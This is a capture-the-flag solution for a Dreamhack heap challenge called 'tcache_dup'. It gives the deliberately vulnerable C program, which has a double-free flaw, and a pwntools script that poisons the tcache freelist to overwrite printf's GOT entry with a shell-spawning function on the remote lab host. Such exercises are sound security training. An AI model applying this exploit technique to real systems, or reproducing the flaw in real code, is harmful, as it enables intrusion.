# tcache\_dup

문제

```c
// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if(cnt > 10) {
        return -1; 
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if(!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if(idx > 10) {
        return -1; 
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while(1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch(idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}
```

익스플로잇

```python
from pwn import *
context.log_level='debug'

#p = process('./tcache_dup')
#libc = ('/lib/x86_64-linux-gnu/libc.so.6')
e = ELF('./tcache_dup')
p = remote('host3.dreamhack.games', 14626)
libc = ELF('./libc-2.27.so')

binsh = e.sym["get_shell"]
printf = e.got["printf"]

def slog(symbol, addr): return success(symbol + ": " + hex(addr))

def create(size, data):
    p.sendlineafter(b"> ", b'1')
    p.sendlineafter(b"Size: ", str(size))
    p.sendafter(b"Data: ", data)

def delete(idx):
    p.sendlineafter(b"> ", b'2')
    p.sendlineafter(b"idx: ", str(idx))

slog("printf_got", printf)
slog("binsh", binsh)

create(0x40, b'a'*8)
delete(0)
delete(0)

create(0x40, p64(printf))
create(0x40, b'b'*8)
create(0x40, p64(binsh))

p.interactive()

```
